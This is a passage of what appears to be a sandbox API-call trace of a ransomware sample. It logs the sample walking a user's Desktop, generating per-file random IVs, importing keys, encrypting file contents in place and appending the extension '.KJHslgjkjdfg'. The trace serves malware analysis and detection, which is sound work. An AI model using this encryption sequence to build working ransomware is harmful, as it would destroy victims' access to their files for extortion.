[0144.489] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x131f0, dwBufLen=0x131f0 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x131f0) returned 1 [0144.490] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.490] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x131f0, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x131f0, lpOverlapped=0x0) returned 1 [0144.490] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.490] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x132c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.490] SetEndOfFile (hFile=0xc0) returned 1 [0144.494] GetProcessHeap () returned 0x990000 [0144.494] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0144.494] GetProcessHeap () returned 0x990000 [0144.494] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.494] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vZuDrn3oODi2.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vzudrn3oodi2.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vZuDrn3oODi2.gif.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vzudrn3oodi2.gif.kjhslgjkjdfg")) returned 1 [0144.500] CloseHandle (hObject=0xc0) returned 1 [0144.502] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8912d60, ftCreationTime.dwHighDateTime=0x1d5deab, ftLastAccessTime.dwLowDateTime=0xcbc51260, ftLastAccessTime.dwHighDateTime=0x1d5e7d8, ftLastWriteTime.dwLowDateTime=0xcbc51260, ftLastWriteTime.dwHighDateTime=0x1d5e7d8, nFileSizeHigh=0x0, nFileSizeLow=0xd37f, dwReserved0=0x0, dwReserved1=0xffff, cFileName="wlu9vDDAQfUn-AUxosH.flv", cAlternateFileName="WLU9VD~1.FLV")) returned 1 [0144.503] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wlu9vDDAQfUn-AUxosH.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wlu9vddaqfun-auxosh.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0144.503] GetProcessHeap () returned 0x990000 [0144.503] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.503] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.503] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0144.503] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0x1, lpOverlapped=0x0) returned 1 [0144.506] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.506] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.506] GetProcessHeap () returned 0x990000 [0144.506] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0144.506] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50) returned 1 [0144.506] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.506] WriteFile (in: hFile=0xc0, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29dfc90*=0x50, lpOverlapped=0x0) returned 1 [0144.506] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0144.507] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0144.507] WriteFile (in: hFile=0xc0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0144.507] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0144.507] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0144.507] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.507] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.507] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.507] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd37f, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0xd37f, lpOverlapped=0x0) returned 1 [0144.508] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0xd380, dwBufLen=0xd380 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0xd380) returned 1 [0144.509] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.509] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd380, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0xd380, lpOverlapped=0x0) returned 1 [0144.509] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.509] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xd464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.509] SetEndOfFile (hFile=0xc0) returned 1 [0144.513] GetProcessHeap () returned 0x990000 [0144.513] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0144.513] GetProcessHeap () returned 0x990000 [0144.514] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.514] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wlu9vDDAQfUn-AUxosH.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wlu9vddaqfun-auxosh.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wlu9vDDAQfUn-AUxosH.flv.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wlu9vddaqfun-auxosh.flv.kjhslgjkjdfg")) returned 1 [0144.520] CloseHandle (hObject=0xc0) returned 1 [0144.520] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef89e990, ftCreationTime.dwHighDateTime=0x1d5d933, ftLastAccessTime.dwLowDateTime=0xa3590430, ftLastAccessTime.dwHighDateTime=0x1d5e5bc, ftLastWriteTime.dwLowDateTime=0xa3590430, ftLastWriteTime.dwHighDateTime=0x1d5e5bc, nFileSizeHigh=0x0, nFileSizeLow=0x1630f, dwReserved0=0x0, dwReserved1=0xffff, cFileName="XlrhSHg9cQ3pH-lWB99.mp4", cAlternateFileName="XLRHSH~1.MP4")) returned 1 [0144.520] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XlrhSHg9cQ3pH-lWB99.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlrhshg9cq3ph-lwb99.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0144.520] GetProcessHeap () returned 0x990000 [0144.520] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.521] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.521] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0144.521] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0x1, lpOverlapped=0x0) returned 1 [0144.526] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.526] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.526] GetProcessHeap () returned 0x990000 [0144.526] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0144.526] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50) returned 1 [0144.527] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.527] WriteFile (in: hFile=0xc0, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29dfc90*=0x50, lpOverlapped=0x0) returned 1 [0144.527] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0144.527] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0144.527] WriteFile (in: hFile=0xc0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0144.527] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0144.527] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0144.528] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.528] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.528] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.528] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1630f, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x1630f, lpOverlapped=0x0) returned 1 [0144.529] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x16310, dwBufLen=0x16310 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x16310) returned 1 [0144.531] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.531] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16310, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x16310, lpOverlapped=0x0) returned 1 [0144.532] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.532] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x163f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.532] SetEndOfFile (hFile=0xc0) returned 1 [0144.539] GetProcessHeap () returned 0x990000 [0144.539] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0144.539] GetProcessHeap () returned 0x990000 [0144.539] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.539] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XlrhSHg9cQ3pH-lWB99.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlrhshg9cq3ph-lwb99.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XlrhSHg9cQ3pH-lWB99.mp4.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlrhshg9cq3ph-lwb99.mp4.kjhslgjkjdfg")) returned 1 [0144.543] CloseHandle (hObject=0xc0) returned 1 [0144.544] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c034790, ftCreationTime.dwHighDateTime=0x1d5d7e5, ftLastAccessTime.dwLowDateTime=0x448d42b0, ftLastAccessTime.dwHighDateTime=0x1d5e678, ftLastWriteTime.dwLowDateTime=0x448d42b0, ftLastWriteTime.dwHighDateTime=0x1d5e678, nFileSizeHigh=0x0, nFileSizeLow=0x11c26, dwReserved0=0x0, dwReserved1=0xffff, cFileName="XSHSR38vmRa5eHa_NR6.doc", cAlternateFileName="XSHSR3~1.DOC")) returned 1 [0144.544] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XSHSR38vmRa5eHa_NR6.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xshsr38vmra5eha_nr6.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0144.544] GetProcessHeap () returned 0x990000 [0144.544] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.544] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.544] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0144.544] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0xa, lpOverlapped=0x0) returned 1 [0144.547] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.547] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.547] GetProcessHeap () returned 0x990000 [0144.547] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0144.547] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50) returned 1 [0144.547] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.547] WriteFile (in: hFile=0xc0, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29dfc90*=0x50, lpOverlapped=0x0) returned 1 [0144.547] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0144.547] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0144.547] WriteFile (in: hFile=0xc0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0144.547] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0144.547] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0144.548] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.548] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.548] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.548] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x11c26, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x11c26, lpOverlapped=0x0) returned 1 [0144.549] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x11c30, dwBufLen=0x11c30 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x11c30) returned 1 [0144.550] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.550] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x11c30, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x11c30, lpOverlapped=0x0) returned 1 [0144.550] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.550] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x11d14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.550] SetEndOfFile (hFile=0xc0) returned 1 [0144.552] GetProcessHeap () returned 0x990000 [0144.552] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0144.552] GetProcessHeap () returned 0x990000 [0144.552] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.552] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XSHSR38vmRa5eHa_NR6.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xshsr38vmra5eha_nr6.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XSHSR38vmRa5eHa_NR6.doc.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xshsr38vmra5eha_nr6.doc.kjhslgjkjdfg")) returned 1 [0144.560] CloseHandle (hObject=0xc0) returned 1 [0144.560] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90cb9a0, ftCreationTime.dwHighDateTime=0x1d5d98e, ftLastAccessTime.dwLowDateTime=0x53b61d20, ftLastAccessTime.dwHighDateTime=0x1d5dad9, ftLastWriteTime.dwLowDateTime=0x53b61d20, ftLastWriteTime.dwHighDateTime=0x1d5dad9, nFileSizeHigh=0x0, nFileSizeLow=0x552, dwReserved0=0x0, dwReserved1=0xffff, cFileName="ZAvIVq680fbtDx0.mp3", cAlternateFileName="ZAVIVQ~1.MP3")) returned 1 [0144.560] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZAvIVq680fbtDx0.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zavivq680fbtdx0.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0144.560] GetProcessHeap () returned 0x990000 [0144.560] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.560] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.560] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0144.561] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0xe, lpOverlapped=0x0) returned 1 [0144.562] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.562] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.562] GetProcessHeap () returned 0x990000 [0144.562] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0144.562] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50) returned 1 [0144.562] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.562] WriteFile (in: hFile=0xc0, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29dfc90*=0x50, lpOverlapped=0x0) returned 1 [0144.562] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0144.562] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0144.562] WriteFile (in: hFile=0xc0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0144.562] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0144.563] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0144.563] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.563] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.563] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.563] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x552, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x552, lpOverlapped=0x0) returned 1 [0144.563] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x560, dwBufLen=0x560 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x560) returned 1 [0144.563] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, 